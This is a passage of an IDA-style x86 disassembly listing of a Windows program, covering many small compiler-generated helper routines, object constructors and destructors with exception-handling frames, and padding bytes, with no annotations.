call sub_401AEB
test al, al
jnz short loc_416048
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_41608A: ; CODE XREF: sub_416030+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_416030 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4160C0 proc near ; CODE XREF: sub_401C8Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4015AF
sub_4160C0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_4160D5
mov edi, esi
loc_4160D5: ; CODE XREF: ___:004160D1j
push esi
call sub_401249
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_4160EA
mov edi, esi
loc_4160EA: ; CODE XREF: ___:004160E6j
push esi
call sub_401163
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416110 proc near ; CODE XREF: sub_401E33j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4010D7
sub_416110 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416130 proc near ; CODE XREF: sub_401249j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416130 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416150 proc near ; CODE XREF: sub_402144j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_416150 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416170 proc near ; CODE XREF: sub_401E97j
mov eax, ecx
retn
sub_416170 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416190 proc near ; CODE XREF: sub_401CDAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401357
mov eax, esi
pop esi
retn 4
sub_416190 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4161C0 proc near ; CODE XREF: sub_4010DCj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4018C5
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4161C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4161F0 proc near ; CODE XREF: sub_401EC4j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4161F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416220 proc near ; CODE XREF: sub_401D11j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4012CB
mov edi, eax
push edi
call sub_4017DF
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401DB6
sub_416220 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_4017DF
push edi
mov [eax], ebx
call sub_4017DF
mov edi, [eax]
push edi
call sub_4017DF
mov ecx, [eax]
push ecx
call sub_401BCC
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4017E4
add esp, 4
mov ecx, esi
push eax
call sub_401E15
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401D7A
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4162C0 proc near ; CODE XREF: sub_401078j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401EBF
mov ecx, eax
call sub_4012CB
mov esi, eax
push esi
call sub_401BCC
push esi
mov ebx, eax
call sub_4017DF
mov ecx, [eax]
push ecx
call sub_401BCC
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4017DF
push esi
mov ebx, eax
call sub_401BCC
mov eax, [eax]
push eax
call sub_4017DF
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4017E4
add esp, 1Ch
mov ecx, edi
push eax
call sub_401401
push esi
mov ecx, edi
call sub_401F14
sub_4162C0 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416380 proc near ; CODE XREF: sub_40140Bj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jz short loc_4163DA
loc_416398: ; CODE XREF: sub_416380+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401EBF
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jnz short loc_416398
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4163DA: ; CODE XREF: sub_416380+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_416380 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416410 proc near ; CODE XREF: sub_401DB6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401EBA
sub_416410 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_416425
mov edi, esi
loc_416425: ; CODE XREF: ___:00416421j
push esi
call sub_401BCC
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_41643A
mov edi, esi
loc_41643A: ; CODE XREF: ___:00416436j
push esi
call sub_4017DF
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416460 proc near ; CODE XREF: sub_401F14j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401866
sub_416460 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416480 proc near ; CODE XREF: sub_401BCCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416480 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164A0 proc near ; CODE XREF: sub_4017E4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_4164A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164C0 proc near ; CODE XREF: sub_401E42j
mov eax, ecx
retn
sub_4164C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164E0 proc near ; CODE XREF: sub_401D7Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401618
mov eax, esi
pop esi
retn 4
sub_4164E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416510 proc near ; CODE XREF: sub_401EBFj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40118B
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_416510 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416540 proc near ; CODE XREF: sub_401456j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_416540 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416570 proc near ; CODE XREF: sub_401104j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_416570 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416590 proc near ; CODE XREF: sub_4020F4j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_416590 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4165C0 proc near ; CODE XREF: sub_401E1Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_4165C0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165E0 proc near ; CODE XREF: sub_4021B7j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40125D
add esp, 8
retn 8
sub_4165E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416610 proc near ; CODE XREF: sub_401500j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_6
pop ecx
retn 4
sub_416610 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416630 proc near ; CODE XREF: sub_40175Dj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_416630 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416650 proc near ; CODE XREF: sub_401A5Fj
mov eax, [ecx]
push eax
call sub_401F19
add esp, 4
retn
sub_416650 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416670 proc near ; CODE XREF: sub_40210Dj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_416670 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166A0 proc near ; CODE XREF: sub_401CBCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401E74
neg al
sbb eax, eax
inc eax
retn 4
sub_4166A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166D0 proc near ; CODE XREF: sub_401C62j
mov eax, [ecx]
retn
sub_4166D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166F0 proc near ; CODE XREF: sub_401163j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4166F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416710 proc near ; CODE XREF: sub_4015AFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_416710 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416740 proc near ; CODE XREF: sub_4010D7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_416740 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416760 proc near ; CODE XREF: sub_4015F0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40205E
add esp, 8
retn 8
sub_416760 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416790 proc near ; CODE XREF: sub_401D61j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_5
pop ecx
retn 4
sub_416790 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167B0 proc near ; CODE XREF: sub_401357j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4167B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167D0 proc near ; CODE XREF: sub_401F8Cj
mov eax, [ecx]
retn
sub_4167D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167F0 proc near ; CODE XREF: sub_4017DFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4167F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416810 proc near ; CODE XREF: sub_401EBAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_416810 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416840 proc near ; CODE XREF: sub_401866j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_416840 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416860 proc near ; CODE XREF: sub_401E15j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4020EA
add esp, 8
retn 8
sub_416860 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416890 proc near ; CODE XREF: sub_401401j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_3
pop ecx
retn 4
sub_416890 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168B0 proc near ; CODE XREF: sub_401618j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4168B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168D0 proc near ; CODE XREF: sub_4012CBj
mov eax, [ecx]
retn
sub_4168D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168F0 proc near ; CODE XREF: sub_401E74j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4168F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416920 proc near ; CODE XREF: sub_40125Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41693B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41693B: ; CODE XREF: sub_416920+11j
retn
sub_416920 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416970 proc near ; CODE XREF: sub_40205Ej
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41698B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41698B: ; CODE XREF: sub_416970+11j
retn
sub_416970 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4169C0 proc near ; CODE XREF: sub_4020EAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_4169DB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_4169DB: ; CODE XREF: sub_4169C0+11j
retn
sub_4169C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr db '░░░░░░░░░░░░░░░ллллллллллллллллХ',1Bh,0
align 4
dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449128B9h
dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
dd 416A7068h, 115CE800h, 0C3590002h, 90909090h, 4 dup(0CCCCCCCCh)
dd 449128B9h, 0B1DEE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_416A90: ; CODE XREF: ___:00401C58j
push 0FFFFFFFFh
push offset loc_43B2E1
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+9FD83h]
mov dword ptr [esp+10h], 1Ah
call sub_4021FD
; ---------------------------------------------------------------------------
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+10h], 19h
call sub_401226
lea ecx, [esi+9FD57h]
mov byte ptr [esp+10h], 18h
call sub_401226
lea ecx, [esi+9FD42h]
mov byte ptr [esp+10h], 17h
call sub_401226
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+10h], 16h
call sub_401226
lea ecx, [esi+9FC42h]
mov byte ptr [esp+10h], 15h
call sub_401F00
lea ecx, [esi+9FC31h]
mov byte ptr [esp+10h], 14h
call sub_401776
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+10h], 13h
call sub_402013
lea ecx, [esi+9FBCDh]
mov byte ptr [esp+10h], 12h
call sub_401E06
lea ecx, [esi+9FB93h]
mov byte ptr [esp+10h], 11h
call sub_401889
lea ecx, [esi+9FB05h]
mov byte ptr [esp+10h], 10h
call sub_401113
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+10h], 0Fh
call sub_401F46
lea ecx, [esi+9FA73h]
mov byte ptr [esp+10h], 0Eh
call sub_401B3B
lea ecx, [esi+9FA13h]
mov byte ptr [esp+10h], 0Dh
call sub_4017DA
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+10h], 0Ch
call sub_4018D9
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+10h], 0Bh
call sub_401ECE
lea ecx, [esi+8F285h]
mov byte ptr [esp+10h], 0Ah
call sub_402239
lea ecx, [esi+8F270h]
mov byte ptr [esp+10h], 9
call sub_4017AD
lea ecx, [esi+8F247h]
mov byte ptr [esp+10h], 8
call sub_401A32
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+10h], 7
call sub_4013C5
; ---------------------------------------------------------------------------
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+10h], 6
call sub_401235
lea ecx, [esi+1D29h]
mov byte ptr [esp+10h], 5
call sub_401EA1
lea ecx, [esi+1C58h]
mov byte ptr [esp+10h], 4
call sub_4014FB
lea ecx, [esi+1BBEh]
mov byte ptr [esp+10h], 3
call sub_401AFA
; ---------------------------------------------------------------------------
lea ecx, [esi+1B46h]
mov byte ptr [esp+10h], 2
call sub_401CA3
; ---------------------------------------------------------------------------
lea ecx, [esi+15Fh]
mov byte ptr [esp+10h], 1
call sub_401938
lea ecx, [esi+3Eh]
mov byte ptr [esp+10h], 0
call sub_401447
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401262
; ---------------------------------------------------------------------------
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416D00 proc near ; CODE XREF: sub_401A32j
push esi
mov esi, ecx
mov eax, [esi+15h]
mov dword ptr [esi], offset off_43F050
test eax, eax
jle short loc_416D17
push eax
nop
call near ptr 71AB9639h
loc_416D17: ; CODE XREF: sub_416D00+Ej
mov ecx, esi
call sub_40204F
pop esi
retn
sub_416D00 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416D30 proc near ; CODE XREF: ___:0040126Cj sub_4019CEj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A32
test [esp+4+arg_0], 1
jz short loc_416D48
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_416D48: ; CODE XREF: sub_416D30+Dj
mov eax, esi
pop esi
retn 4
sub_416D30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416D60 proc near ; CODE XREF: sub_4017ADj
push esi
mov esi, ecx
mov eax, [esi+11h]
mov dword ptr [esi], offset off_43F05C
test eax, eax
jle short loc_416D77
push eax
nop
call near ptr 71AB9639h
loc_416D77: ; CODE XREF: sub_416D60+Ej
mov ecx, esi
call sub_40204F
pop esi
retn
sub_416D60 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416D90: ; CODE XREF: ___:00401631j
; ___:loc_401CADj
push esi
mov esi, ecx
call sub_4017AD
test byte ptr [esp+8], 1
jz short loc_416DA8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_416DA8: ; CODE XREF: ___:00416D9Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416DC0 proc near ; CODE XREF: sub_401776j
mov dword ptr [ecx], offset off_43F068
jmp sub_40204F
sub_416DC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416DE0: ; CODE XREF: ___:loc_401929j
; ___:004021ADj
push esi
mov esi, ecx
call sub_401776
test byte ptr [esp+8], 1
jz short loc_416DF8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_416DF8: ; CODE XREF: ___:00416DEDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416E10 proc near ; CODE XREF: sub_401889j
mov dword ptr [ecx], offset off_43F074
add ecx, 4
jmp sub_401023
sub_416E10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416E30: ; CODE XREF: ___:00401E60j
push 0FFFFFFFFh
push offset loc_43B4C1
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+8], esi
call sub_4020BD
; ---------------------------------------------------------------------------
lea ecx, [esi+3Eh]
mov dword ptr [esp+14h], 0
call sub_4015E6
lea ecx, [esi+15Fh]
mov byte ptr [esp+14h], 1
call sub_40129E
lea ecx, [esi+1B46h]
mov byte ptr [esp+14h], 2
call sub_402018
; ---------------------------------------------------------------------------
lea ecx, [esi+1BBEh]
mov byte ptr [esp+14h], 3
call sub_401A00
; ---------------------------------------------------------------------------
lea ecx, [esi+1C58h]
mov byte ptr [esp+14h], 4
call sub_401587
lea ecx, [esi+1D29h]
mov byte ptr [esp+14h], 5
call sub_40164F
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+14h], 6
call sub_401780
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+14h], 7
call sub_40169F
lea ecx, [esi+8F247h]
mov byte ptr [esp+14h], 8
call sub_40182F
lea ecx, [esi+8F270h]
mov byte ptr [esp+14h], 9
call sub_4016BD
lea ecx, [esi+8F285h]
mov byte ptr [esp+14h], 0Ah
call sub_40141F
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+14h], 0Bh
call sub_401302
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+14h], 0Ch
call sub_401271
lea ecx, [esi+8F51Fh]
mov byte ptr [esp+14h], 0Dh
call sub_401D25
lea ecx, [esi+9FA13h]
call sub_4012FD
lea ecx, [esi+9FA73h]
mov byte ptr [esp+14h], 0Eh
call sub_401A91
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+14h], 0Fh
call sub_401285
lea ecx, [esi+9FB05h]
mov byte ptr [esp+14h], 10h
call sub_401CB7
lea ecx, [esi+9FB93h]
mov byte ptr [esp+14h], 11h
call sub_402121
; ---------------------------------------------------------------------------
mov byte ptr [esp+14h], 12h
lea ecx, [esi+9FBCDh]
call sub_40157D
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+14h], 13h
call sub_401799
lea ecx, [esi+9FC31h]
mov byte ptr [esp+14h], 14h
call sub_401069
lea ecx, [esi+9FC42h]
mov byte ptr [esp+14h], 15h
call sub_401073
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+14h], 16h
call sub_40142E
lea ecx, [esi+9FD42h]
mov byte ptr [esp+14h], 17h
call sub_40142E
lea ecx, [esi+9FD57h]
mov byte ptr [esp+14h], 18h
call sub_40142E
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+14h], 19h
call sub_40142E
lea eax, [esp+7]
lea ecx, [esi+9FD83h]
push eax
mov byte ptr [esp+18h], 1Ah
call sub_401B0E
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4170B0 proc near ; CODE XREF: sub_401262j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4170B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401B1D
sub_4170B0 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417120 proc near ; CODE XREF: sub_401938j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417120
